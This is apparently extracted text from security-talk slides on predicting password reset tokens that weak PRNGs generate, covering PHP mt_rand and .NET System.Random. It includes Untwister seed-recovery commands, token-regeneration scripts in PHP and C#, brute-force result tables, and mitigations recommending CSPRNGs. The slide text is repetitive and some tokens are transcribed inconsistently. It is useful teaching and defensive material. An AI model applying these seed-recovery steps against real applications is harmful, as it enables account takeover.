                                                  (m_minBound) + 1.0) * ((result) / ((2147483647) + 1.0))));
    }

    return result;
}
...
void PHP_mt19937::setBounds(uint32_t min, uint32_t max)
{
    m_minBound = min;
    m_maxBound = max;
    m_isBounded = true;
}
...
PHP Bounded \texttt{mt_rand()} – Patched Untwister

...  
uint32\_t PHP\_mt19937\::random()  
{  
  uint32\_t result = genrand\_int32(m\_mt) >> 1;  
  
  if (m\_isBounded) {  
    result = (uint32\_t)((m\_minBound) + (long)((double) (double) (m\_maxBound) -  
                       (m\_minBound) + 1.0) * ((result) / ((2147483647) + 1.0))));  
  }  
  
  return result;  
}  
...  
void PHP\_mt19937\::setBounds(uint32\_t min, uint32\_t max)  
{  
  m\_minBound = min;  
  m\_maxBound = max;  
  m\_isBounded = true;  
}  
...
PHP `mt_rand(0, 61)` - Exploitation

```bash
# cat tokens.txt
46
1
10
52
13
41
11
17
22
52
...
```

Not So Random
PHP `mt_rand(0, 61)` - Exploitation

```bash
root@kali:~# ./untwister/untwister -r php-mt_rand -i tokens.txt -m 0 -M 61
```

Untwister called with bounded arguments
PHP `mt_rand(0, 61)` - Exploitation

```bash
root@kali:~# ./untwister/untwister -r php-mt_rand -i tokens.txt -m 0 -M 61
[*] Skipping inference attack...
[*] Looking for seed using php-mt_rand
[*] Spawning 2 worker thread(s) ...
[*] Completed in 0 second(s)
[$] Found seed 456 with a confidence of 100.00%
```
4. Seed new PRNG with obtained seed
<?php

class ResetPassword
{
    static function GenerateToken()
    {
        ...
    }
}

$recovered_seed = 456;
mt_srand($recovered_seed);

for($i = 0; $i < 32; $i++){
    print(ResetPassword::GenerateToken() . "\n");
}
class ResetPassword
{
    static function GenerateToken()
    {
        ...
    }
}

$recovered_seed = 456;
mt_srand($recovered_seed);

for($i = 0; $i < 32; $i++){
    print(ResetPassword::GenerateToken() . "\n");
}
5. Generate a number of tokens using seeded PRNG
PHP `mt_rand(0, 61)` - Exploitation

```php
# php generateTokens.php
K1aQdFbhmoj67Lbba9qzkknqhR5jXwz
rrEahOjVbA7cK4Zwmg99ksERVNQ8WMq19
97sRz0OYI4CfE5JBrb3B9068bXA02Mle
mSNj01w16M7nb5o42NjDYcwUtcSyFwJd
7G5ovvPdum2SnAAUhP5kCK1hBfRRMnNrhwt01oL0USvG0JSmXS8NFrw7UAiWw8o
ZjN771EBYpD87gagLQghkMfmULZJ9tSZ
XZ65H5T6VFY3LkjwAzxJHnld07fO2qhi
3wpj8t5aDJv3tQCFddJsrxoxHFdhvQQ
```

Not So Random
6. Attempt tokens against application for collision with target token
# PHP `mt_rand(0, 61)` - Exploitation

## Table

<table>
<thead>
<tr>
<th>Request</th>
<th>Payload</th>
<th>Status</th>
<th>Error</th>
<th>Timeout</th>
<th>Length</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>9</td>
<td>3wpj8t5aDjv3tQCFddjsrox...</td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>84606</td>
<td></td>
</tr>
<tr>
<td>0</td>
<td></td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>KlaQdFbhmQoj67Lbba9qzk...</td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>rrEahOjvbA7cK4ZwmG9Ks...</td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>97sRz00Y14CfE5jBrb3B906...</td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>mSNj01w167nb5o42NjDY...</td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>7G5ovvPdum2SnaUhP5kC...</td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>hwt01oL0UhsG0jSmX58N...</td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>ZJN771EBypD87gagLQghk...</td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>XZ65H5T6VFY3LkjwAxzjHn1...</td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>sk8RC6wll0CZhhfJfsQt...</td>
<td>200</td>
<td>☐</td>
<td>☐</td>
<td>265</td>
<td></td>
</tr>
</tbody>
</table>
PHP `mt_rand(0, 61)` - Exploitation

“To reset your password, please click the following link:
https://example.com/reset/3wpj8t5aDJv3tQCFddJsrxoxHFdthvQQ”
Exploitation Theory

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>K1aQdFbhmQoj67Lbba9qzkknkqhR5jXwz</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>rrEahOjVbA7cK4ZwmG9KsERVNQ8WMq19</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>97sRz00YI4CfE5JBrb3B9068bXA02Mle</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>mSNj01w16M7nb5o42NjDYcwUtcsyFwJd</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td><strong>3wpj8t5aDJv3tQCFddJsrxoxHFdthvQQ</strong></td>
<td><strong>Target Password Reset Token</strong></td>
</tr>
</tbody>
</table>
Demos

1. Brute Force
   - PHP mt_rand()

2. Brute Force Bounded Call
   - PHP mt_rand(0, 61)

3. Weak Seeds
   - .NET System.Random()
Overview – Weak Seeds

1. Generate and capture initial password reset token
Overview – Weak Seeds

1. Generate and capture initial password reset token
2. Generate password reset token for target user
Overview – Weak Seeds

1. Generate and capture initial password reset token
2. Generate password reset token for target user
3. Use captured initial password reset token and Untwister to obtain PRNG seed

Not So Random
Overview – Weak Seeds

1. Generate and capture initial password reset token

2. Generate password reset token for target user

3. Use captured initial password reset token and Untwister to obtain PRNG seed

4. Seed new PRNGs with possible seeds since first seed, generate tokens
1. Generate and capture initial password reset token
2. Generate password reset token for target user
3. Use captured initial password reset token and Untwister to obtain PRNG seed
4. Seed new PRNGs with possible seeds since first seed, generate tokens
5. Attempt tokens against application for collision with target token
public class ResetPassword
{
    public static string GenerateToken()
    {
        Random rnd = new Random();
        const int tokenLength = 32;
        const string charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

        StringBuilder sb = new StringBuilder();

        for (int ctr = 0; ctr < tokenLength; ctr++)
        {
            sb.Append(charset[rnd.Next(charset.Length - 1)]);
        }

        return sb.ToString();
    }
}
public class ResetPassword
{
    public static string GenerateToken()
    {
        Random rnd = new Random();
        const int tokenLength = 32;
        const string charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

        StringBuilder sb = new StringBuilder();

        for (int ctr = 0; ctr < tokenLength; ctr++)
        {
            sb.Append(charset[rnd.Next(charset.Length - 1)]);
        }

        return sb.ToString();
    }
}

Random() object used to generate a token
.NET System.Random() Constructor

... public Random()
    : this(Environment.TickCount) {
    }

...
.NET System.Random() Constructor

... public Random()
    : this(Environment.TickCount) {
...
...
    /*==================================TickCount===================================
    **Action: Gets the number of ticks since the system was started.
    **Returns: The number of ticks since the system was started.
    **Arguments: None
    **Exceptions: None
    */
    public static extern int TickCount {
...

- [https://referencesource.microsoft.com/#mscorlib/system/random.cs,52](https://referencesource.microsoft.com/#mscorlib/system/random.cs,52)
- [https://referencesource.microsoft.com/#mscorlib/system/environment.cs,265](https://referencesource.microsoft.com/#mscorlib/system/environment.cs,265)

Not So Random
1. Generate and capture initial password reset token
.NET System.Random() - Exploitation

“To reset your password, please click the following link:
https://example.com/reset/g2COM9Wu3nGg1jSFg734wFTt1aBLedPs”
2. Generate password reset token for target user
.NET System.Random() - Exploitation

- Target user will receive email similar to the following:

  “To reset your password, please click the following link: https://example.com/reset/<Unknown Value>”

- Password reset value is unknown at this point
3. Use captured initial password reset token and Untwister to obtain PRNG seed
Exploitation Theory

Observe PRNG

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>g2COM9Wu3nGg1jSFg734wFTtlabLedPs</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>???????????????????????????</td>
<td>Target Password Reset Token</td>
</tr>
</tbody>
</table>

Obtain seed from known output
Exploitation Theory

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>g2COM9Wu3nGg1jSFg734wFTt</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>labLedPs</td>
<td></td>
</tr>
<tr>
<td>???????????????????????</td>
<td>Target Password Reset Token</td>
</tr>
</tbody>
</table>

**Observe seed from known output**
System.Random() Constructor

- .NET is now open source!

```csharp
100  private int InternalSample() {
101       int retVal;
102       int locINext = inext;
103       int locINextp = inextp;
104       if (++locINext >= 56) locINext = 1;
105       if (++locINextp >= 56) locINextp = 1;
106       retVal = SeedArray[locINext] - SeedArray[locINextp];
107       if (retVal == MNBIG) retVal--;  // Adjusting range
108       if (retVal<0) retVal+=MNBIG;
109
110       SeedArray[locINext]=retVal;
111
112       inext = locINext;
113       inextp = locINextp;
114
115       return retVal;
116  }
```
System.Random() Untwister Patch

```c
uint32_t DotNetSystemRandom::InternalSample()
{
    int32_t retVal;
    uint32_t locINext = inext;
    uint32_t locINextp = inextp;

    if (++locINext >= 56) locINext = 1;
    if (++locINextp >= 56) locINextp = 1;

    retVal = SeedArray[locINext] - SeedArray[locINextp];

    if (retVal == MBIG) retVal--;
    if (retVal<0) retVal+=MBIG;

    SeedArray[locINext] = retVal;

    inext = locINext;
    inextp = locINextp;

    return retVal;
}
```

Not So Random
System.Random() Untwister Patch

```c
int64_t DotNetSystemRandom::getMinSeed()
{
    // System.Random() is seeded with an int; signed integer
    return 0;
}

int64_t DotNetSystemRandom::getMaxSeed()
{
    // System.Random() is seeded with an int; signed integer
    return INT_MAX;
}
```

```csharp
public Random(int Seed) {
    int ii;
    int m, mk;

    // Initialize our seed array.
    // This algorithm comes from Numerical Recipes in C (2nd Ed.)
    int subtraction = (Seed == Int32.MaxValue) ? Int32.MaxValue : Math.Abs(Seed);
    m = MSEED - subtraction;
    SeedArray[55] = m;
}
```
.NET System.Random() - Exploitation

- Tokens are encoded characters
- Decode back to raw numbers first
#!/usr/bin/python

def token_decoder(token):
    characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    raw = []
    for character in token:
        character_index = characters.index(character)
        raw.append(character_index)
    return raw

if __name__ == '__main__':
    token = raw_input("[*] Please enter token to decode: ")
    decoded_token = token_decoder(token)
    for character in decoded_token:
        print(character)
#.NET System.Random() - Exploitation

```python
# python decoder.py
[*] Please enter token to decode: g2COM9Wu3nGg1jSFg734wFTtlaBLedPs
```

```
16
2
38
50
48
9
58
30
3
23
42
16
...
```

Not So Random
.NET System.Random() - Exploitation

# cat tokens.txt
16
2
38
50
48
9
58
30
3
23
42
16
...

Not So Random
.NET System.Random() - Exploitation

root@kali:~# ./untwister/untwister -r dotnet-systemrandom -i tokens.txt -d 32 -m 0 -M 61

Depth of 32
.NET System.Random() - Exploitation

root@kali:~# ./untwister/untwister -r dotnet-systemrandom -i tokens.txt -d 32 -m 0 -M 61
[*] Depth set to: 32
[*] Skipping inference attack...
[*] Looking for seed using dotnet-systemrandom
[*] Spawning 2 worker thread(s) ... 
[*] Completed in 0 second(s)
[$] Found seed 2281843 with a confidence of 100.00%
4. Seed new PRNGs with possible seeds since first seed, generate tokens
.NET System.Random() - Exploitation

... int minValue = 2281843;
int maxValue = minValue + 60000;

Parallel.For(minValue, maxValue, index => {
    Random rnd = new Random(index);
    string randomToken = GenerateToken(rnd);
    Console.WriteLine(randomToken);
});

...
.NET System.Random() - Exploitation

... int minValue = 2281843;
int maxValue = minValue + 60000;

Parallel.For(minValue, maxValue, index => {
    Random rnd = new Random(index);
    string randomToken = GenerateToken(rnd);
    Console.WriteLine(randomToken);
});

...
.NET System.Random() - Exploitation

... int minValue = 2281843;
int maxValue = minValue + 60000;

Parallel.For(minValue, maxValue, index => {
    Random rnd = new Random(index);
    string randomToken = GenerateToken(rnd);
    Console.WriteLine(randomToken);
});

...
.NET Trick – csc.exe

C:\Users\User>C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe GeneratePossibleTokens.cs

C:\Users\User>GeneratePossibleTokens.exe

g2COM9Wu3nGg1jSFg734wFTtlaBLeedPs
Nkj1e10ZbKq2HPAiGJ4sEU3PrOsov1cJ
jClfGTQuj7aOolhU6m6QMaebxsfj0NPZzR
QUIs8LhZruTB5SxwY8eVpowE6bD4DWF
pNO5uoDuOB6W8q5pMQdoj9UzW2KuT322
V5vjWg5ZXQXIPXM2cseMso4V2GC6aRpj
sndwo8wu3kAvwtuFC4gaADfh8jtJrFMz
YFUQ1YbHjhcZbh2HiylSpCexkJlIt9P
uYBWtQtvi434TwsUsjWQ7AYkBCY0hw6
1gjaKLS0qrNQA2AxTW1kZnKkqf3Ah5Tm
xy0ncDjvyOwCgyh9jynI7CVFWTUCyTGc

Not So Random
5. Attempt tokens against application for collision with target token
## Practical Exploitation

<table>
<thead>
<tr>
<th>Request</th>
<th>Payload</th>
<th>Status</th>
<th>Error</th>
<th>Timeout</th>
<th>Length</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>3595</td>
<td>rldC445mMofILFTGfrRxB...</td>
<td>200</td>
<td></td>
<td></td>
<td>84607</td>
<td></td>
</tr>
<tr>
<td>0</td>
<td>g2COM9Wu3nGg1jSFg734...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>DJNe087v2htK1D5EZ2tgEB...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>ZqZlE7u1bge1XhEIXUSM...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>PPTQ0d035jXkLM111gjgLCP...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>bwEgda5RC6rk5Y0KbKsT8...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>1V8sZjTCj999Dtn3t9gTO4...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>nCkSdi3DH2WeDdGmMoAs...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>JjvirheFFWj8DxSmvj1E8EtU...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>zlZudoXcwtMQWjOHcqs81...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>VpbUrn7dvn2lWzdxxREgglJa...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>i6mkFlhfuhpMFWzmlsIRb...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>11</td>
<td>8vQwr50MIopNgNh5zLHFsnS...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>i2n1WEbNkLk2a7KjG8BvMF...</td>
<td>200</td>
<td></td>
<td></td>
<td>265</td>
<td></td>
</tr>
<tr>
<td>13</td>
<td>Not So Random</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
**Exploitation Theory**

### Observed PRNG

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>g2COM9Wu3nGg1jSFg734wFTt1aBLedPs</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>rIdC445mMofilLfTGfrRzBrOor3LwSE</td>
<td>Target Password Reset Token</td>
</tr>
</tbody>
</table>

**Target PRNG**

Obtain seed from known output

---

*Not So Random*
Practical Exploitation - Tips

- When brute forcing, ideally want to be using raw output from the PRNG (numbers)

- Bear in mind depth when trying to crack a PRNG that may have been called numerous times, 1000 default with Untwister should be fine

- Get as many samples of the PRNG output as you can; decrease chance of wrong seed collision
Practical Exploitation - Tips

- Load balancing can be an issue; multiple application servers will cause multiple PRNGs to be generating output.

- Use Persistent HTTP connections to force same process
  - Connection: Keep-Alive

- Not covered in this talk, but state recovery attacks are also a possibility against PRNGs given enough output
Mitigations

Need a truly random number?
Mitigations

Need a truly random number?

USE A CSPRNG
## Mitigations – User Mode

<table>
<thead>
<tr>
<th>Language</th>
<th>CSPRNG</th>
</tr>
</thead>
<tbody>
<tr>
<td>.NET</td>
<td>RNGCryptoServerProvider()</td>
</tr>
<tr>
<td>Java</td>
<td>java.security.SecureRandom()</td>
</tr>
<tr>
<td>JavaScript (Node.js)</td>
<td>crypto.RandomBytes()</td>
</tr>
<tr>
<td>PHP</td>
<td>random_bytes()</td>
</tr>
</tbody>
</table>
| Python              | random.SystemRandom()
                               |
|                     | os.urandom()                                                 |
Developers, Developers, Developers

- **Check your own applications**

- Are you using a CSPRNG for:
  - Password reset tokens?
  - CSRF tokens?
  - Session identifiers?
  - Cryptographic primitives?
  - Secret/unpredictable value generation?
Untwister Patches

https://github.com/hyprwired/untwister

- Bounded PHP `rand()`*
- Bounded PHP `mt_rand()`
- .NET `System.Random()`

  - * PHP 5 Linux glibc `rand()`
Links / Further Reading

- https://www.bishopfox.com/blog/2014/08/untwisting-mersenne-twister-killed-prng/
- https://github.com/altf4/untwister
- https://docs.oracle.com/javase/7/docs/api/java/security/SecureRandom.html
- https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback
- https://docs.python.org/2/library/random.html#random.SystemRandom
- https://docs.python.org/2/library/os.html#os.urandom
For sales enquiries: sales@insomniasec.com
All other enquiries: enquiries@insomniasec.com
Auckland office: +64 (0)9 972 3432
Wellington office: +64 (0)4 974 6654

www.insomniasec.com